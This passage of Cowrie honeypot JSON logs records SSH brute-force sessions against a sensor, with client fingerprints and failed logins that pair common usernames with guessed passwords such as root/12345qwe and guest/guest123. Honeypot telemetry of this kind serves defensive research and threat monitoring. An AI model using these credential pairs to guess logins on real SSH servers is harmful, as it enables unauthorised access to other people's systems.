28-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:21.773409Z","src_ip":"192.109.200.78","session":"4714e9f3cdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:22.020264Z","src_ip":"192.109.200.78","session":"4714e9f3cdde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:23.212722Z","src_ip":"192.109.200.78","session":"4714e9f3cdde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54808,"dst_ip":"10.17.0.5","dst_port":22,"session":"c21758f82c73","protocol":"ssh","message":"New connection: 192.109.200.78:54808 (10.17.0.5:22) [session: c21758f82c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:25.086780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:25.091300Z","src_ip":"192.109.200.78","session":"c21758f82c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:25.172544Z","src_ip":"192.109.200.78","session":"c21758f82c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:25.420551Z","src_ip":"192.109.200.78","session":"c21758f82c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:26.504975Z","src_ip":"192.109.200.78","session":"c21758f82c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54810,"dst_ip":"10.17.0.5","dst_port":22,"session":"a56966df29ba","protocol":"ssh","message":"New connection: 192.109.200.78:54810 (10.17.0.5:22) [session: a56966df29ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:28.585628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:28.698846Z","src_ip":"192.109.200.78","session":"a56966df29ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:28.703455Z","src_ip":"192.109.200.78","session":"a56966df29ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:29.166025Z","src_ip":"192.109.200.78","session":"a56966df29ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:30.253045Z","src_ip":"192.109.200.78","session":"a56966df29ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49944,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1433c917dd2","protocol":"ssh","message":"New connection: 192.109.200.78:49944 (10.17.0.5:22) [session: b1433c917dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:32.261545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:32.266185Z","src_ip":"192.109.200.78","session":"b1433c917dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:32.347127Z","src_ip":"192.109.200.78","session":"b1433c917dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:32.590990Z","src_ip":"192.109.200.78","session":"b1433c917dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:33.674054Z","src_ip":"192.109.200.78","session":"b1433c917dd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5659f585ebde","protocol":"ssh","message":"New connection: 192.109.200.78:49956 (10.17.0.5:22) [session: 5659f585ebde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:35.718026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:35.722150Z","src_ip":"192.109.200.78","session":"5659f585ebde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:35.803548Z","src_ip":"192.109.200.78","session":"5659f585ebde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:36.051300Z","src_ip":"192.109.200.78","session":"5659f585ebde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:37.190154Z","src_ip":"192.109.200.78","session":"5659f585ebde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df05d9f8c55","protocol":"ssh","message":"New connection: 192.109.200.78:49968 (10.17.0.5:22) [session: 7df05d9f8c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:39.195206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:39.200242Z","src_ip":"192.109.200.78","session":"7df05d9f8c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:39.281039Z","src_ip":"192.109.200.78","session":"7df05d9f8c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:39.529896Z","src_ip":"192.109.200.78","session":"7df05d9f8c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:40.613832Z","src_ip":"192.109.200.78","session":"7df05d9f8c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53760004043579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:42.283402Z","src_ip":"172.81.62.90","session":"f4348c5e0367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34310,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cd24901083b","protocol":"ssh","message":"New connection: 192.109.200.78:34310 (10.17.0.5:22) [session: 0cd24901083b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:42.733071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:42.862562Z","src_ip":"192.109.200.78","session":"0cd24901083b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:42.866196Z","src_ip":"192.109.200.78","session":"0cd24901083b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:43.213632Z","src_ip":"192.109.200.78","session":"0cd24901083b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:44.297932Z","src_ip":"192.109.200.78","session":"0cd24901083b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59de61e88c3","protocol":"ssh","message":"New connection: 192.109.200.78:34326 (10.17.0.5:22) [session: b59de61e88c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:46.406735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:46.411958Z","src_ip":"192.109.200.78","session":"b59de61e88c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:46.493228Z","src_ip":"192.109.200.78","session":"b59de61e88c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Aa123456.","message":"login attempt [debian/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:46.736446Z","src_ip":"192.109.200.78","session":"b59de61e88c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:47.820657Z","src_ip":"192.109.200.78","session":"b59de61e88c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57542,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7ae9b21c15","protocol":"ssh","message":"New connection: 51.250.105.222:57542 (10.17.0.5:22) [session: 5d7ae9b21c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:48.827518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:48.832076Z","src_ip":"51.250.105.222","session":"5d7ae9b21c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:48.959667Z","src_ip":"51.250.105.222","session":"5d7ae9b21c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:49.345051Z","src_ip":"51.250.105.222","session":"5d7ae9b21c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34340,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ebe57e1ba8c","protocol":"ssh","message":"New connection: 192.109.200.78:34340 (10.17.0.5:22) [session: 4ebe57e1ba8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:03:49.940317Z"}
